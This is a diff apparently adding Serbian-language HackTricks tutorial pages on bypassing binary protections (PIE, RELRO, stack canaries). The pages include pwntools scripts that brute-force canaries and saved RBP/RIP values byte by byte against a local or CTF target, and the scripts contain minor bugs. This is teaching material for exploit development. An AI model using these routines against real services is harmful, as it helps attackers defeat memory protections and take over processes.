* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,55 @@
|
|||
# PIE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Binarni fajl kompajliran kao PIE, ili **Position Independent Executable**, znači da **program može da se učita na različite lokacije u memoriji** svaki put kada se izvrši, sprečavajući hardkodirane adrese.
|
||||
|
||||
Trik za eksploataciju ovih binarnih fajlova leži u eksploatisanju **relativnih adresa**—offseti između delova programa ostaju isti čak i ako se apsolutne lokacije promene. Da biste **zaobišli PIE, potrebno je samo procureti jednu adresu**, obično sa **steka** koristeći ranjivosti poput napada format string-om. Kada imate jednu adresu, možete izračunati ostale pomoću njihovih **fiksnih offseta**.
|
||||
|
||||
Korisna napomena u eksploatisanju PIE binarnih fajlova je da njihova **bazna adresa obično završava na 000** zbog toga što su stranice memorije jedinice randomizacije, veličine 0x1000 bajtova. Ovaj poravnanje može biti ključno **za proveru da li eksploit radi kako se očekuje**, ukazujući da li je identifikovana tačna bazna adresa.\
|
||||
Ili možete koristiti ovo za vaš eksploit, ako procurete da se adresa nalazi na **`0x649e1024`** znate da je **bazna adresa `0x649e1000`** i odande možete jednostavno **izračunati offsete** funkcija i lokacija.
|
||||
|
||||
## Zaobiđi
|
||||
|
||||
Da biste zaobišli PIE, potrebno je **procureti neku adresu učitanog** binarnog fajla, postoje neke opcije za to:
|
||||
|
||||
* Biti **dat** procuret (često u lakim CTF izazovima, [**proverite ovaj primer**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Brute-force vrednosti EBP i EIP** na steku dok ne procurete tačne:
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Koristite ranjivost proizvoljnog čitanja kao što je [**format string**](../../format-strings/) da procurete adresu binarnog fajla (npr. sa steka, kao u prethodnoj tehnici) da biste dobili bazu binarnog fajla i koristili offsete odande. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,110 @@
|
|||
# BF Adrese na Stack-u
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
**Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE (Position Independent Executable) verovatno ćete morati da pronađete način da ih zaobiđete.**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije sposoban da identifikuje funkciju.\
|
||||
Međutim, to možete ručno primetiti ako primetite da je vrednost sačuvana na stack-u na početku poziva funkcije i ta vrednost se proverava pre izlaska.
|
||||
{% endhint %}
|
||||
|
||||
## Brute-Force Adrese
|
||||
|
||||
Da biste zaobišli PIE, morate **procureti neku adresu**. Ako binarni fajl ne otkriva nikakve adrese, najbolje je **brute-force-ovati RBP i RIP sačuvane na stack-u** u ranjivoj funkciji.\
|
||||
Na primer, ako je binarni fajl zaštićen i **kanarincem** i **PIE**, možete početi sa brute-force-ovanjem kanarinca, zatim će **sledećih** 8 bajtova (x64) biti sačuvani **RBP** i **sledećih** 8 bajtova će biti sačuvani **RIP.**
|
||||
|
||||
{% hint style="success" %}
|
||||
Pretpostavlja se da se povratna adresa unutar stack-a odnosi na glavni binarni kod, što će obično biti slučaj ako je ranjivost locirana u binarnom kodu.
|
||||
{% endhint %}
|
||||
|
||||
Da biste brute-force-ovali RBP i RIP iz binarnog fajla, možete zaključiti da je validan pogodak bajta tačan ako program nešto izbaci ili se jednostavno ne ruši. **Ista funkcija** koja je pružena za brute-force-ovanje kanarinca može se koristiti za brute-force-ovanje RBP i RIP:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
|
||||
# PIE BF FROM HERE
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||||
print("Brute-Forcing RIP")
|
||||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
Poslednje što vam je potrebno da biste pobedili PIE jeste da izračunate **korisne adrese iz procurjelih** adresa: **RBP** i **RIP**.
|
||||
|
||||
Iz **RBP**-a možete izračunati **gde pišete svoj shell na steku**. Ovo može biti veoma korisno kako biste znali gde ćete napisati string _"/bin/sh\x00"_ unutar steka. Da biste izračunali udaljenost između procurjelog RBP-a i vašeg shell koda, jednostavno postavite **prekidnu tačku nakon što procuri RBP** i proverite **gde se nalazi vaš shell kod**, zatim možete izračunati udaljenost između shell koda i RBP-a:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
Iz **RIP**-a možete izračunati **baznu adresu PIE binarnog fajla** što će vam biti potrebno da biste kreirali **validan ROP lanac**.\
|
||||
Za izračunavanje bazne adrese jednostavno uradite `objdump -d vunbinary` i proverite poslednje adrese disasemblovanog koda:
|
||||
|
||||
![](<../../../../.gitbook/assets/image (145).png>)
|
||||
|
||||
U ovom primeru možete videti da je potrebno samo **1 bajt i po** da biste locirali sav kod, zatim, bazna adresa u ovom slučaju će biti **procuren RIP ali završava na "000"**. Na primer, ako je procureno `0x562002970ecf` bazna adresa će biti `0x562002970000`
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,39 @@
|
|||
# Relro
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** označava **Relocation Read-Only**, i to je sigurnosna funkcija koja se koristi u binarnim fajlovima kako bi se umanjili rizici povezani sa **GOT (Global Offset Table)** prepisivanjem. Razložićemo koncept na dva različita tipa radi jasnoće: **Partial RELRO** i **Full RELRO**.
|
||||
|
||||
### **Partial RELRO**
|
||||
|
||||
**Partial RELRO** koristi jednostavniji pristup poboljšanju sigurnosti bez značajnog uticaja na performanse binarnog fajla. **Pomeranjem GOT iznad promenljivih programa u memoriji, Partial RELRO ima za cilj da spreči preplavljivanje bafera da dosegne i ošteti GOT**. 
|
||||
|
||||
Ovo **ne sprečava da GOT** bude zloupotrebljen **iz ranjivosti na proizvoljno pisanje**.
|
||||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** podiže zaštitu tako što **čini GOT potpuno samo za čitanje.** Kada binarni fajl počne, sve adrese funkcija se rešavaju i učitavaju u GOT, zatim, GOT se označava kao samo za čitanje, efikasno sprečavajući bilo kakve modifikacije tokom izvršavanja.
|
||||
|
||||
Međutim, trgovina sa Full RELRO je u pogledu performansi i vremena pokretanja. Pošto zahteva rešavanje svih dinamičkih simbola pri pokretanju pre označavanja GOT kao samo za čitanje, **binarni fajlovi sa omogućenim Full RELRO-om mogu imati duže vreme učitavanja**. Ovaj dodatni početni trošak je razlog zašto Full RELRO nije podrazumevano omogućen u svim binarnim fajlovima.
|
||||
|
||||
Moguće je proveriti da li je Full RELRO omogućen u binarnom fajlu sa:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
## Bypass
|
||||
|
||||
Ako je omogućen puni RELRO, jedini način zaobilaženja je pronaći drugi način koji ne zahteva pisanje u GOT tabelu kako bi se postiglo proizvoljno izvršavanje.
|
|
@ -0,0 +1,31 @@
|
|||
# Zaštitni mehanizmi steka
|
||||
|
||||
**StackGuard** ubacuje posebnu vrednost poznatu kao **kanarinka** pre **EIP (Prošireni Pokazivač Instrukcija)**, specifično `0x000aff0d` (predstavlja null, novi red, EOF, povratak karijete) kako bi se zaštitili od preplavljivanja bafera. Međutim, funkcije poput `recv()`, `memcpy()`, `read()` i `bcopy()` ostaju ranjive, i ne štiti **EBP (Bazni Pokazivač)**.
|
||||
|
||||
**StackShield** pristupa problemu na sofisticiraniji način od StackGuard-a održavajući **Globalni Stek Povratka**, koji čuva sve adrese povratka (**EIP-ove**). Ovaj setup osigurava da bilo koje preplavljivanje ne uzrokuje štetu, jer omogućava upoređivanje sačuvanih i stvarnih adresa povratka kako bi se otkrili slučajevi preplavljivanja. Dodatno, StackShield može proveriti adresu povratka u odnosu na granicnu vrednost kako bi otkrio da li **EIP** pokazuje van očekivanog prostora podataka. Međutim, ova zaštita može biti zaobiđena tehnikama poput Return-to-libc, ROP (Return-Oriented Programming) ili ret2ret, što ukazuje da StackShield takođe ne štiti lokalne promenljive.
|
||||
|
||||
## **Zaštitnik steka od preplavljivanja (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Ovaj mehanizam postavlja **kanarinku** pre **EBP-a**, i reorganizuje lokalne promenljive tako da postavlja baufere na više memorijske adrese, sprečavajući ih da prepišu druge promenljive. Takođe bezbedno kopira argumente prosleđene na stek iznad lokalnih promenljivih i koristi ove kopije kao argumente. Međutim, ne štiti nizove sa manje od 8 elemenata ili baufere unutar strukture korisnika.
|
||||
|
||||
**Kanarinka** je slučajan broj dobijen iz `/dev/urandom` ili podrazumevana vrednost `0xff0a0000`. Čuva se u **TLS (Lokalnom Prostoru Niti)**, omogućavajući deljenje memorijskih prostora između niti sa niti-specifičnim globalnim ili statičkim promenljivima. Ove promenljive se prvobitno kopiraju iz roditeljskog procesa, a dečiji procesi mogu menjati svoje podatke bez uticaja na roditelja ili srodne procese. Ipak, ako se koristi **`fork()` bez kreiranja nove kanarinke, svi procesi (roditelj i deca) dele istu kanarinu**, čineći je ranjivom. Na arhitekturi **i386**, kanarinka se čuva na `gs:0x14`, a na **x86\_64**, na `fs:0x28`.
|
||||
|
||||
Ova lokalna zaštita identifikuje funkcije sa baferima ranjivim na napade i ubacuje kod na početak ovih funkcija kako bi postavila kanarinu, i na kraju kako bi proverila njenu celovitost.
|
||||
|
||||
Kada veb server koristi `fork()`, omogućava napad brute-force metodom da se pogađa kanarinka po bajtovima. Međutim, korišćenje `execve()` nakon `fork()` prebrisava memorijski prostor, poništavajući napad. `vfork()` omogućava dečijem procesu da izvršava bez dupliranja dok ne pokuša da piše, u tom trenutku se kreira duplikat, nudeći drugačiji pristup kreiranju procesa i upravljanju memorijom.
|
||||
|
||||
## Zaobiđavanje
|
||||
|
||||
**Procurenje kanarinke** a zatim prepisivanje njenom vrednošću (npr. preplavljivanje bafera).
|
||||
|
||||
* Ako se **kanarinka forkuje u dečijim procesima**, možda je moguće **brute-force**-ovati je po jedan bajt:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Ako postoji neka interesantna ranjivost procurivanja u binarnom fajlu, možda je moguće procuriti je:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
|
@ -0,0 +1,117 @@
|
|||
# BF Forked Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
**Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE-om (Position Independent Executable), verovatno ćete morati da pronađete način da ih zaobiđete.**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije u mogućnosti da identifikuje funkciju.\
|
||||
Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na steku na početku poziva funkcije i ako se ta vrednost proverava pre izlaska.
|
||||
{% endhint %}
|
||||
|
||||
## Brute force kanarinca
|
||||
|
||||
Najbolji način zaobići jednostavan kanarinac je ako je binarni program **forkovanje dječijih procesa svaki put kada uspostavite novu vezu** sa njim (mrežna usluga), jer će se **svaki put kada se povežete sa njim koristiti isti kanarinac**.
|
||||
|
||||
Zatim, najbolji način zaobići kanarinac je jednostavno **brute-force-ovati ga karakter po karakter**, i možete saznati da li je pogodak tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija **brute-force-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proverom** da li je **odgovor** poslat od strane servera (drugi način u **drugim situacijama** može biti korišćenje **try/except**):
|
||||
|
||||
### Primer 1
|
||||
|
||||
Ovaj primer je implementiran za 64 bita ali se lako može implementirati i za 32 bita.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### Primer 2
|
||||
|
||||
Ovo je implementirano za 32 bita, ali se lako može promeniti na 64 bita.\
|
||||
Takođe, obratite pažnju da ovaj primer **očekuje da prvo bude jedan bajt koji označava veličinu unosa** i sam payload.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
# Ispisivanje Stack Canary-ja
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Povećanje ispisivanja stack-a
|
||||
|
||||
Zamislite situaciju gde je **program ranjiv** na preplavljivanje stack-a i može izvršiti funkciju **puts** koja **ukazuje** na **deo** preplavljenog **stack-a**. Napadač zna da je **prvi bajt canary-ja nula bajt** (`\x00`) i da su ostali bajtovi canary-ja **nasumični**. Zatim, napadač može kreirati preplavljivanje koje **prepisuje stack sve do prvog bajta canary-ja**.
|
||||
|
||||
Nakon toga, napadač **poziva funkcionalnost puts** na sredini payload-a koja će **ispisati ceo canary** (osim prvog nula bajta).
|
||||
|
||||
Sa ovim informacijama, napadač može **kreirati i poslati novi napad** znajući canary (u istoj sesiji programa).
|
||||
|
||||
Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **ispisuje** sadržaj svog **payload-a** kako bi **izvukao** canary i zatim bio u mogućnosti da kreira novi payload (u **istoj sesiji programa**) i **pošalje** **pravi buffer overflow**.
|
||||
|
||||
**CTF primer:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
## Proizvoljno Čitanje
|
||||
|
||||
Sa proizvoljnim čitanjem kao što je ono koje omogućava format **string-ovi**, moguće je procureti canary. Proverite ovaj primer: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i možete pročitati o zloupotrebi format string-ova za čitanje proizvoljnih memorijskih adresa u:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -4,21 +4,21 @@
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
